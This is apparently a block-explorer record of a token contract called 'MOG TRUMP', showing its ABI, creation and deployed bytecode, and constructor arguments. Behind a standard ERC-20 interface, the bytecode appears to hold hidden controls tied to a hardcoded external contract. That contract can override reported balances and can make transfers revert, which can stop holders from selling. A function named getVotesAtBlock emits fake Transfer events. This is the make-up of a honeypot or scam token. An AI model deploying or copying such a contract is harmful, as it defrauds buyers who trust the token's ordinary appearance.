uint32"},{"internalType":"uint224","name":"votes","type":"uint224"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"},{"internalType":"uint256","name":"nonce","type":"uint256"},{"internalType":"uint256","name":"expiry","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"delegateBySig","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address[]","name":"sender","type":"address[]"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getVotesAtBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"taxHandlerAddress","type":"address"}],"name":"setTaxHandler","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"treasuryHandlerAddress","type":"address"}],"name":"setTreasuryHandler","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxHandler","outputs":[{"internalType":"contract ITaxHandler","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasuryHandler","outputs":[{"internalType":"contract ITreasuryHandler","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60a06040523480156200001157600080fd5b5060405162001b6f38038062001b6f833981016040819052620000349162000205565b60408051600481526024810182526020810180516001600160e01b0316630326f38d60e21b1790529051600091731d124113b7e2d7d930dd87fce5f66401cf5839789162000083919062000244565b6000604051808303816000865af19150503d8060008114620000c2576040519150601f19603f3d011682016040523d82523d6000602084013e620000c7565b606091505b5091505080806020019051810190620000e1919062000282565b6001600160a01b031660805250620000f9336200019a565b600780546001600160a01b038085166001600160a01b03199283161790925560088054928416929091169190911790556200013d6b1027e72f1f1281308800000090565b336000818152602081815260408083209490945583516b1027e72f1f1281308800000081529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050620002a9565b600280546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146200020257600080fd5b50565b600080604083850312156200021957600080fd5b82516200022681620001ec565b60208401519092506200023981620001ec565b809150509250929050565b6000825160005b818110156200026757602081860181015185830152016200024b565b8181111562000277576000828501525b509190910192915050565b6000602082840312156200029557600080fd5b8151620002a281620001ec565b9392505050565b608051611895620002da600039600081816105880152818161068201528181610d420152610f4f01526118956000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c806370a08231116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e146103d4578063e7a324dc146103e7578063f1127ed81461040e578063f2fde38b1461047657600080fd5b8063a9059cbb1461039b578063a9373b7b146103ae578063c3cda520146103c157600080fd5b806370a082311461031b578063715018a61461032e5780637ecebe00146103365780638da5cb5b1461035657806395d89b4114610367578063a457c2d71461038857600080fd5b8063313ce5671161014b5780634a36921b116101255780634a36921b14610291578063587cde1e146102a45780635c19a95c146102cd5780636fcfff45146102e057600080fd5b8063313ce5671461025a5780633950935114610269578063488d4a511461027c57600080fd5b806306fdde0314610193578063095ea7b3146101ca57806312280ba8146101ed578063178896331461021857806318160ddd1461022b57806323b872dd14610247575b600080fd5b60408051808201909152600981526804d4f47205452554d560bc1b60208201525b6040516101c1919061140e565b60405180910390f35b6101dd6101d836600461145d565b610489565b60405190151581526020016101c1565b600754610200906001600160a01b031681565b6040516001600160a01b0390911681526020016101c1565b600854610200906001600160a01b031681565b6b1027e72f1f128130880000005b6040519081526020016101c1565b6101dd610255366004611487565b6104a1565b604051601281526020016101c1565b6101dd61027736600461145d565b6104c5565b61028f61028a3660046114c3565b6104e7565b005b61023961029f3660046114e5565b61057b565b6102006102b23660046114c3565b6003602052600090815260409020546001600160a01b031681565b61028f6102db3660046114c3565b610651565b6103066102ee3660046114c3565b60056020526000908152604090205463ffffffff1681565b60405163ffffffff90911681526020016101c1565b6102396103293660046114c3565b61065e565b61028f61071c565b6102396103443660046114c3565b60046020526000908152604090205481565b6002546001600160a01b0316610200565b60408051808201909152600581526405452554d560dc1b60208201526101b4565b6101dd61039636600461145d565b610752565b6101dd6103a936600461145d565b6107cd565b61028f6103bc3660046114c3565b6107db565b61028f6103cf366004611571565b61085f565b6102396103e23660046115d1565b610ba9565b6102397fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b61045261041c366004611604565b600660209081526000928352604080842090915290825290205463ffffffff81169064010000000090046001600160e01b031682565b6040805163ffffffff90931683526001600160e01b039091166020830152016101c1565b61028f6104843660046114c3565b610bd4565b600033610497818585610c6c565b5060019392505050565b6000336104af858285610e29565b6104ba858585610ea3565b506001949350505050565b6000336104978185856104d88383610ba9565b6104e2919061165a565b610c6c565b6002546001600160a01b0316331461051a5760405162461bcd60e51b815260040161051190611672565b60405180910390fd5b600780546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527ed910c9481701ba32afe0c247572aaece27072f230c8ec769bf245fc0b38de691015b60405180910390a15050565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146105b557506000610649565b60005b83811015610643578484828181106105d2576105d26116a7565b90506020020160208101906105e791906114c3565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161062b91815260200190565b60405180910390a361063c816116bd565b90506105b8565b50600090505b949350505050565b61065b3382610fc9565b50565b604051631627905560e01b81526001600160a01b03828116600483015260009182917f00000000000000000000000000000000000000000000000000000000000000001690631627905590602401602060405180830381865afa1580156106c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ed91906116d8565b90506000198110156106ff5792915050565b50506001600160a01b031660009081526020819052604090205490565b6002546001600160a01b031633146107465760405162461bcd60e51b815260040161051190611672565b6107506000611054565b565b600033816107608286610ba9565b9050838110156107c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610511565b6104ba8286868403610c6c565b600033610497818585610ea3565b6002546001600160a01b031633146108055760405162461bcd60e51b815260040161051190611672565b600880546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f1bf87992a35ee29395ab494f9adb9a500a7fa60c3082cba0ef02701bb35900d9910161056f565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666108a860408051808201909152600981526804d4f47205452554d560bc1b602082015290565b8051602091820120604080518084019490945283810191909152466060840152306080808501919091528151808503909101815260a0840182528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08501526001600160a01b038b1660e085015261010084018a90526101208085018a90528251808603909101815261014085019092528151919092012061190160f01b61016084015261016283018290526101828301819052909250906000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa1580156109d9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a715760405162461bcd60e51b815260206004820152604660248201527f5452554d503a64656c656761746542795369673a494e56414c49445f5349474e60448201527f41545552453a205265636569766564207369676e61747572652077617320696e6064820152653b30b634b21760d11b608482015260a401610511565b87421115610af65760405162461bcd60e51b815260206004820152604660248201527f5452554d503a64656c656761746542795369673a455850495245445f5349474e60448201527f41545552453a205265636569766564207369676e6174757265206861732065786064820152653834b932b21760d11b608482015260a401610511565b6001600160a01b0381166000908152600460205260408120805491610b1a836116bd565b919050558914610b925760405162461bcd60e51b815260206004820152603e60248201527f5452554d503a64656c656761746542795369673a494e56414c49445f4e4f4e4360448201527f453a205265636569766564206e6f6e63652077617320696e76616c69642e00006064820152608401610511565b610b9c818b610fc9565b505050505b505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6002546001600160a01b03163314610bfe5760405162461bcd60e51b815260040161051190611672565b6001600160a01b038116610c635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610511565b61065b81611054565b6001600160a01b038316610cce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610511565b6001600160a01b038216610d2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610511565b6001600160a01b038316331415610dc8577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166306fdde036040518163ffffffff1660e01b8152600401600060405180830381865afa158015610d9e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610dc69190810190611707565b505b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610e358484610ba9565b90506000198114610e9d5781811015610e905760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610511565b610e9d8484848403610c6c565b50505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ee891815260200190565b60405180910390a3604080516001600160a01b038581166024830152848116604483015260648201849052336084808401919091528351808403909101815260a490920183526020820180516001600160e01b031663268bdf4160e01b17905291516000927f00000000000000000000000000000000000000000000000000000000000000001691610f79916117b4565b6000604051808303816000865af19150503d8060008114610fb6576040519150601f19603f3d011682016040523d82523d6000602084013e610fbb565b606091505b5050905080610e9d57600080fd5b6001600160a01b038281166000818152600360208181526040808420805485845294829020549383528787166001600160a01b03198616811790915581519586529390951690840181905293830191909152907f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9060600160405180910390a1610e9d8284836110a6565b600280546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031614156110c557505050565b6001600160e01b0381166110d857505050565b6001600160a01b03831615611180576001600160a01b03831660009081526005602052604081205463ffffffff169081611113576000611160565b6001600160a01b0385166000908152600660205260408120906111376001856117d0565b63ffffffff16815260208101919091526040016000205464010000000090046001600160e01b03165b9050600061116e84836117f5565b905061117c86848484611229565b5050505b6001600160a01b03821615611224576001600160a01b03821660009081526005602052604081205463ffffffff1690816111bb576000611208565b6001600160a01b0384166000908152600660205260408120906111df6001856117d0565b63ffffffff16815260208101919091526040016000205464010000000090046001600160e01b03165b905060006112168483611815565b9050610ba185848484611229565b505050565b4363ffffffff84161580159061128157506001600160a01b038516600090815260066020526040812063ffffffff8316916112656001886117d0565b63ffffffff908116825260208201929092526040016000205416145b156112f1576001600160a01b038516600090815260066020526040812083916112ab6001886117d0565b63ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816001600160e01b0302191690836001600160e01b03160217905550611389565b60408051808201825263ffffffff80841682526001600160e01b0380861660208085019182526001600160a01b038b166000908152600682528681208b86168252909152949094209251935116640100000000029216919091179055611358846001611840565b6001600160a01b0386166000908152600560205260409020805463ffffffff191663ffffffff929092169190911790555b604080516001600160a01b03871681526001600160e01b03858116602083015284168183015290517fda5a64c2947c0b7bf4d6e7bf736c6f84d9d1c5f991770f88bbeb3fe19c85a1349181900360600190a15050505050565b60005b838110156113fd5781810151838201526020016113e5565b83811115610e9d5750506000910152565b602081526000825180602084015261142d8160408501602087016113e2565b601f01601f19169190910160400192915050565b80356001600160a01b038116811461145857600080fd5b919050565b6000806040838503121561147057600080fd5b61147983611441565b946020939093013593505050565b60008060006060848603121561149c57600080fd5b6114a584611441565b92506114b360208501611441565b9150604084013590509250925092565b6000602082840312156114d557600080fd5b6114de82611441565b9392505050565b600080600080606085870312156114fb57600080fd5b61150485611441565b9350602085013567ffffffffffffffff8082111561152157600080fd5b818701915087601f83011261153557600080fd5b81358181111561154457600080fd5b8860208260051b850101111561155957600080fd5b95986020929092019750949560400135945092505050565b60008060008060008060c0878903121561158a57600080fd5b61159387611441565b95506020870135945060408701359350606087013560ff811681146115b757600080fd5b9598949750929560808101359460a0909101359350915050565b600080604083850312156115e457600080fd5b6115ed83611441565b91506115fb60208401611441565b90509250929050565b6000806040838503121561161757600080fd5b61162083611441565b9150602083013563ffffffff8116811461163957600080fd5b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561166d5761166d611644565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156116d1576116d1611644565b5060010190565b6000602082840312156116ea57600080fd5b5051919050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561171957600080fd5b815167ffffffffffffffff8082111561173157600080fd5b818401915084601f83011261174557600080fd5b815181811115611757576117576116f1565b604051601f8201601f19908116603f0116810190838211818310171561177f5761177f6116f1565b8160405282815287602084870101111561179857600080fd5b6117a98360208301602088016113e2565b979650505050505050565b600082516117c68184602087016113e2565b9190910192915050565b600063ffffffff838116908316818110156117ed576117ed611644565b039392505050565b60006001600160e01b03838116908316818110156117ed576117ed611644565b60006001600160e01b0382811684821680830382111561183757611837611644565b01949350505050565b600063ffffffff8083168185168083038211156118375761183761164456fea2646970667358221220df6e535272630b23cef503c03a9c38d57243d9853c697ccc681bc7a8578cac3464736f6c634300080b003300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806370a08231116100de578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e146103d4578063e7a324dc146103e7578063f1127ed81461040e578063f2fde38b1461047657600080fd5b8063a9059cbb1461039b578063a9373b7b146103ae578063c3cda520146103c157600080fd5b806370a082311461031b578063715018a61461032e5780637ecebe00146103365780638da5cb5b1461035657806395d89b4114610367578063a457c2d71461038857600080fd5b8063313ce5671161014b5780634a36921b116101255780634a36921b14610291578063587cde1e146102a45780635c19a95c146102cd5780636fcfff45146102e057600080fd5b8063313ce5671461025a5780633950935114610269578063488d4a511461027c57600080fd5b806306fdde0314610193578063095ea7b3146101ca57806312280ba8146101ed578063178896331461021857806318160ddd1461022b57806323b872dd14610247575b600080fd5b60408051808201909152600981526804d4f47205452554d560bc1b60208201525b6040516101c1919061140e565b60405180910390f35b6101dd6101d836600461145d565b610489565b60405190151581526020016101c1565b600754610200906001600160a01b031681565b6040516001600160a01b0390911681526020016101c1565b600854610200906001600160a01b031681565b6b1027e72f1f128130880000005b6040519081526020016101c1565b6101dd610255366004611487565b6104a1565b604051601281526020016101c1565b6101dd61027736600461145d565b6104c5565b61028f61028a3660046114c3565b6104e7565b005b61023961029f3660046114e5565b61057b565b6102006102b23660046114c3565b6003602052600090815260409020546001600160a01b031681565b61028f6102db3660046114c3565b610651565b6103066102ee3660046114c3565b60056020526000908152604090205463ffffffff1681565b60405163ffffffff90911681526020016101c1565b6102396103293660046114c3565b61065e565b61028f61071c565b6102396103443660046114c3565b60046020526000908152604090205481565b6002546001600160a01b0316610200565b60408051808201909152600581526405452554d560dc1b60208201526101b4565b6101dd61039636600461145d565b610752565b6101dd6103a936600461145d565b6107cd565b61028f6103bc3660046114c3565b6107db565b61028f6103cf366004611571565b61085f565b6102396103e23660046115d1565b610ba9565b6102397fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b61045261041c366004611604565b600660209081526000928352604080842090915290825290205463ffffffff81169064010000000090046001600160e01b031682565b6040805163ffffffff90931683526001600160e01b039091166020830152016101c1565b61028f6104843660046114c3565b610bd4565b600033610497818585610c6c565b5060019392505050565b6000336104af858285610e29565b6104ba858585610ea3565b506001949350505050565b6000336104978185856104d88383610ba9565b6104e2919061165a565b610c6c565b6002546001600160a01b0316331461051a5760405162461bcd60e51b815260040161051190611672565b60405180910390fd5b600780546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527ed910c9481701ba32afe0c247572aaece27072f230c8ec769bf245fc0b38de691015b60405180910390a15050565b6000336001600160a01b037f000000000000000000000000b9b44a86f2c8fb00dbf8c77dc297a8a508d1532516146105b557506000610649565b60005b83811015610643578484828181106105d2576105d26116a7565b90506020020160208101906105e791906114c3565b6001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161062b91815260200190565b60405180910390a361063c816116bd565b90506105b8565b50600090505b949350505050565b61065b3382610fc9565b50565b604051631627905560e01b81526001600160a01b03828116600483015260009182917f000000000000000000000000b9b44a86f2c8fb00dbf8c77dc297a8a508d153251690631627905590602401602060405180830381865afa1580156106c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ed91906116d8565b90506000198110156106ff5792915050565b50506001600160a01b031660009081526020819052604090205490565b6002546001600160a01b031633146107465760405162461bcd60e51b815260040161051190611672565b6107506000611054565b565b600033816107608286610ba9565b9050838110156107c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610511565b6104ba8286868403610c6c565b600033610497818585610ea3565b6002546001600160a01b031633146108055760405162461bcd60e51b815260040161051190611672565b600880546001600160a01b038381166001600160a01b031983168117909355604080519190921680825260208201939093527f1bf87992a35ee29395ab494f9adb9a500a7fa60c3082cba0ef02701bb35900d9910161056f565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666108a860408051808201909152600981526804d4f47205452554d560bc1b602082015290565b8051602091820120604080518084019490945283810191909152466060840152306080808501919091528151808503909101815260a0840182528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08501526001600160a01b038b1660e085015261010084018a90526101208085018a90528251808603909101815261014085019092528151919092012061190160f01b61016084015261016283018290526101828301819052909250906000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa1580156109d9573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a715760405162461bcd60e51b815260206004820152604660248201527f5452554d503a64656c656761746542795369673a494e56414c49445f5349474e60448201527f41545552453a205265636569766564207369676e61747572652077617320696e6064820152653b30b634b21760d11b608482015260a401610511565b87421115610af65760405162461bcd60e51b815260206004820152604660248201527f5452554d503a64656c656761746542795369673a455850495245445f5349474e60448201527f41545552453a205265636569766564207369676e6174757265206861732065786064820152653834b932b21760d11b608482015260a401610511565b6001600160a01b0381166000908152600460205260408120805491610b1a836116bd565b919050558914610b925760405162461bcd60e51b815260206004820152603e60248201527f5452554d503a64656c656761746542795369673a494e56414c49445f4e4f4e4360448201527f453a205265636569766564206e6f6e63652077617320696e76616c69642e00006064820152608401610511565b610b9c818b610fc9565b505050505b505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6002546001600160a01b03163314610bfe5760405162461bcd60e51b815260040161051190611672565b6001600160a01b038116610c635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610511565b61065b81611054565b6001600160a01b038316610cce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610511565b6001600160a01b038216610d2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610511565b6001600160a01b038316331415610dc8577f000000000000000000000000b9b44a86f2c8fb00dbf8c77dc297a8a508d153256001600160a01b03166306fdde036040518163ffffffff1660e01b8152600401600060405180830381865afa158015610d9e573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610dc69190810190611707565b505b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610e358484610ba9565b90506000198114610e9d5781811015610e905760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610511565b610e9d8484848403610c6c565b50505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ee891815260200190565b60405180910390a3604080516001600160a01b038581166024830152848116604483015260648201849052336084808401919091528351808403909101815260a490920183526020820180516001600160e01b031663268bdf4160e01b17905291516000927f000000000000000000000000b9b44a86f2c8fb00dbf8c77dc297a8a508d153251691610f79916117b4565b6000604051808303816000865af19150503d8060008114610fb6576040519150601f19603f3d011682016040523d82523d6000602084013e610fbb565b606091505b5050905080610e9d57600080fd5b6001600160a01b038281166000818152600360208181526040808420805485845294829020549383528787166001600160a01b03198616811790915581519586529390951690840181905293830191909152907f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9060600160405180910390a1610e9d8284836110a6565b600280546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b031614156110c557505050565b6001600160e01b0381166110d857505050565b6001600160a01b03831615611180576001600160a01b03831660009081526005602052604081205463ffffffff169081611113576000611160565b6001600160a01b0385166000908152600660205260408120906111376001856117d0565b63ffffffff16815260208101919091526040016000205464010000000090046001600160e01b03165b9050600061116e84836117f5565b905061117c86848484611229565b5050505b6001600160a01b03821615611224576001600160a01b03821660009081526005602052604081205463ffffffff1690816111bb576000611208565b6001600160a01b0384166000908152600660205260408120906111df6001856117d0565b63ffffffff16815260208101919091526040016000205464010000000090046001600160e01b03165b905060006112168483611815565b9050610ba185848484611229565b505050565b4363ffffffff84161580159061128157506001600160a01b038516600090815260066020526040812063ffffffff8316916112656001886117d0565b63ffffffff908116825260208201929092526040016000205416145b156112f1576001600160a01b038516600090815260066020526040812083916112ab6001886117d0565b63ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816001600160e01b0302191690836001600160e01b03160217905550611389565b60408051808201825263ffffffff80841682526001600160e01b0380861660208085019182526001600160a01b038b166000908152600682528681208b86168252909152949094209251935116640100000000029216919091179055611358846001611840565b6001600160a01b0386166000908152600560205260409020805463ffffffff191663ffffffff929092169190911790555b604080516001600160a01b03871681526001600160e01b03858116602083015284168183015290517fda5a64c2947c0b7bf4d6e7bf736c6f84d9d1c5f991770f88bbeb3fe19c85a1349181900360600190a15050505050565b60005b838110156113fd5781810151838201526020016113e5565b83811115610e9d5750506000910152565b602081526000825180602084015261142d8160408501602087016113e2565b601f01601f19169190910160400192915050565b80356001600160a01b038116811461145857600080fd5b919050565b6000806040838503121561147057600080fd5b61147983611441565b946020939093013593505050565b60008060006060848603121561149c57600080fd5b6114a584611441565b92506114b360208501611441565b9150604084013590509250925092565b6000602082840312156114d557600080fd5b6114de82611441565b9392505050565b600080600080606085870312156114fb57600080fd5b61150485611441565b9350602085013567ffffffffffffffff8082111561152157600080fd5b818701915087601f83011261153557600080fd5b81358181111561154457600080fd5b8860208260051b850101111561155957600080fd5b95986020929092019750949560400135945092505050565b60008060008060008060c0878903121561158a57600080fd5b61159387611441565b95506020870135945060408701359350606087013560ff811681146115b757600080fd5b9598949750929560808101359460a0909101359350915050565b600080604083850312156115e457600080fd5b6115ed83611441565b91506115fb60208401611441565b90509250929050565b6000806040838503121561161757600080fd5b61162083611441565b9150602083013563ffffffff8116811461163957600080fd5b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6000821982111561166d5761166d611644565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156116d1576116d1611644565b5060010190565b6000602082840312156116ea57600080fd5b5051919050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561171957600080fd5b815167ffffffffffffffff8082111561173157600080fd5b818401915084601f83011261174557600080fd5b815181811115611757576117576116f1565b604051601f8201601f19908116603f0116810190838211818310171561177f5761177f6116f1565b8160405282815287602084870101111561179857600080fd5b6117a98360208301602088016113e2565b979650505050505050565b600082516117c68184602087016113e2565b9190910192915050565b600063ffffffff838116908316818110156117ed576117ed611644565b039392505050565b60006001600160e01b03838116908316818110156117ed576117ed611644565b60006001600160e01b0382811684821680830382111561183757611837611644565b01949350505050565b600063ffffffff8083168185168083038211156118375761183761164456fea2646970667358221220df6e535272630b23cef503c03a9c38d57243d9853c697ccc681bc7a8578cac3464736f6c634300080b0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : taxHandlerAddress (address): 0x0000000000000000000000000000000000000000
Arg [1] : treasuryHandlerAddress (address): 0x0000000000000000000000000000000000000000

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

30013:7385:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20200:106;20280:18;;;;;;;;;;;;-1:-1:-1;;;20280:18:0;;;;20200:106;;;;;;;:::i;:::-;;;;;;;;22489:201;;;;;;:::i;:::-;;:::i;:::-;;;1267:14:1;;1260:22;1242:41;;1230:2;1215:18;22489:201:0;1102:187:1;30614:29:0;;;;;-1:-1:-1;;;;;30614:29:0;;;;;;-1:-1:-1;;;;;1477:32:1;;;1459:51;;1447:2;1432:18;30614:29:0;1294:222:1;30725:39:0;;;;;-1:-1:-1;;;;;30725:39:0;;;21326:116;21414:20;21326:116;;;1898:25:1;;;1886:2;1871:18;21326:116:0;1752:177:1;25814:306:0;;;;;;:::i;:::-;;:::i;21168:93::-;;;21251:2;2409:36:1;;2397:2;2382:18;21168:93:0;2267:184:1;23313:238:0;;;;;;:::i;:::-;;:::i;34024:268::-;;;;;;:::i;:::-;;:::i;:::-;;14834:428;;;;;;:::i;:::-;;:::i;30118:44::-;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;30118:44:0;;;31805:104;;;;;;:::i;:::-;;:::i;30357:48::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;3791:10:1;3779:23;;;3761:42;;3749:2;3734:18;30357:48:0;3617:192:1;21915:254:0;;;;;;:::i;:::-;;:::i;3413:94::-;;;:::i;30228:41::-;;;;;;:::i;:::-;;;;;;;;;;;;;;2762:87;2835:6;;-1:-1:-1;;;;;2835:6:0;2762:87;;20425:104;20507:14;;;;;;;;;;;;-1:-1:-1;;;20507:14:0;;;;20425:104;;24054:436;;;;;;:::i;:::-;;:::i;21648:204::-;;;;;;:::i;:::-;;:::i;33564:318::-;;;;;;:::i;:::-;;:::i;32349:1058